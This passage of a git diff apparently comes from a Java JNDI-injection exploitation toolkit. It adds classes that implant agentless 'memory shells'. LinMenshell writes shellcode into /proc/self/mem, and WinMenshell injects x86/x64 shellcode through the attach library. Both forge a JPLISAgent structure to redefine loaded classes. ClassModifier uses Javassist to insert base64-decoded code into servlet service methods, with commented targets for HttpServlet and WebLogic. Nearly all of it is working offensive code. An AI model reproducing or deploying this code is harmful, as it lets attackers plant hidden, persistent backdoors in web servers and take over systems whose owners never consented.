0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16}; + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } + + Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class); + method.setAccessible(true); + method.invoke(null, -1, buf, "enqueue", "enqueue", null); + + long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength); + if (pointerLength == 4) { + unsafe.putByte(native_jvmtienv + 201, (byte) 2); + } else { + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + } + + redefineClasses(className, classBody, JPLISAgent); + } + + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l, int length) { + byte[] array = new byte[length]; + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) { + for (int i = 0; i < bytes.length; i++) { + boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等; + for (int j = 0; j < byteSource.length; j++) { + if (i + j < bytes.length && bytes[i + j] == byteSource[j]) { + } else { + bl = false; + } + } + if (bl) { + System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length); + } + } + return bytes; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java b/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java new file mode 100644 index 0000000..ef93518 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/LinMenshell.java @@ -0,0 +1,234 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class LinMenshell { + + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC = 2; + private static final int STT_GNU_IFUNC = 10; + public static String className; + public static byte[] classBody; + private LinMenshell() throws Exception { + + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) { + String[] splits = line.trim().split(" "); + if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + + long native_jvmtienv = fout.length(); //触发执行 + System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + //利用伪造的JPLISAgent结构实例化InstrumentationImpl + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{ + new ClassDefinition[]{ + definition + } + }); + } catch (Exception e) { + e.printStackTrace(); + } + fout.getFD(); + + } + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for (int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i * 64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if (sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; + for (long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if (st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while ((ch = fin.readByte()) != 0) { + name += (char) ch; + } + + if (sym.equals(name)) { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + + return func_ptr; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java b/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java new file mode 100644 index 0000000..0ac17a9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/WinMenshell.java @@ -0,0 +1,111 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.io.IOException; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; + +public class WinMenshell { + public static int pointerLength = 8; + public static String className; + public static byte[] classBody; + + public WinMenshell() throws Exception { + + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; + if (pointerLength == 4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub = new byte[]{0x44, 0x43, 0x42, 0x41}; + } + buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); + classBody[7] = 0x32; + try { + System.loadLibrary("attach"); + enqueue(-1, buf, "enqueue", "enqueue"); + } catch (Exception e) { + e.printStackTrace(); + return; + } + long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength); + if (pointerLength == 4) { + unsafe.putByte(native_jvmtienv + 201, (byte) 2); + } else { + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + } + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{ + new ClassDefinition[]{ + definition + } + }); + } catch (Throwable error) { + error.printStackTrace(); + throw error; + } + + } + + static native void enqueue(long hProcess, byte[] stub, + String cmd, String pipename, Object... args) throws IOException; + + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l, int length) { + + byte[] array = new byte[length]; + + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + + private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) { + for (int i = 0; i < bytes.length; i++) { + boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等; + for (int j = 0; j < byteSource.length; j++) { + if (i + j < bytes.length && bytes[i + j] == byteSource[j]) { + } else { + bl = false; + } + } + if (bl) { + System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length); + } + } + return bytes; + } +} + diff --git a/src/main/java/com/qi4l/jndi/template/Agent/utli/ClassModifier.java b/src/main/java/com/qi4l/jndi/template/Agent/utli/ClassModifier.java new file mode 100644 index 0000000..54ccfac --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/utli/ClassModifier.java @@ -0,0 +1,108 @@ +package com.qi4l.jndi.template.Agent.utli; + +import javassist.*; + +import java.util.ArrayList; +import java.util.List; + +public class ClassModifier { + // Hook 类信息,类名,方法名,方法参数(逗号分隔) + public static ArrayList HOOK_CLASS_INFORMATION_MAP = new ArrayList(); + + // Hook 类方法字符串 + public static String HOOK_METHOD_CODE; + + public static List insert() throws Exception { + + // 初始化要 hook 的方法信息 + initHookClassINFORMATION(); + + List classObj = getHookClassBytes(); + + if (classObj == null) { + return null; + } + + String targetClassName = classObj.get(0).toString(); + byte[] targetClassBody = (byte[]) classObj.get(1); + ClassPool cp = ClassPool.getDefault(); + cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody)); + CtClass targetClass = cp.get(targetClassName); + + String methodName = HOOK_CLASS_INFORMATION_MAP.get(1); + String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(","); + + List paramClasses = new ArrayList(); + for (String param : paramList) { + CtClass ctClass = cp.get(param); + paramClasses.add(ctClass); + } + + CtMethod ctMethod = targetClass.getDeclaredMethod(methodName, paramClasses.toArray(new CtClass[paramClasses.size()])); + ctMethod.insertBefore(base64Decode(HOOK_METHOD_CODE)); + targetClass.detach(); + + List list = new ArrayList(); + list.add(targetClassName); + list.add(targetClass.toBytecode()); + return list; + } + + + private static List getHookClassBytes() throws Exception { + ClassPool classPool = ClassPool.getDefault(); + + try { + // 用 Javassist 获取目标环境中,目标类的类字节码 + String className = HOOK_CLASS_INFORMATION_MAP.get(0); + classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className))); + CtClass targetClass = classPool.get(className); + List obj = new ArrayList(); + obj.add(className); + obj.add(targetClass.toBytecode()); + targetClass.detach(); + return obj; + } catch (ClassNotFoundException ignored) { + } + return null; + } + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void initHookClassINFORMATION() { +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.http.HttpServlet"); +// HOOK_CLASS_INFORMATION_MAP.add("service"); +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + +// ArrayList list1 = new ArrayList(); +// list1.add("jakarta.servlet.http.HttpServlet"); +// list1.add("service"); +// list1.add("jakarta.servlet.ServletRequest,jakarta.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list1); +// +// ArrayList list2 = new ArrayList(); +// list2.add("weblogic.servlet.internal.ServletStubImpl"); +// list2.add("execute"); +// list2.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list2); + } +} diff --git 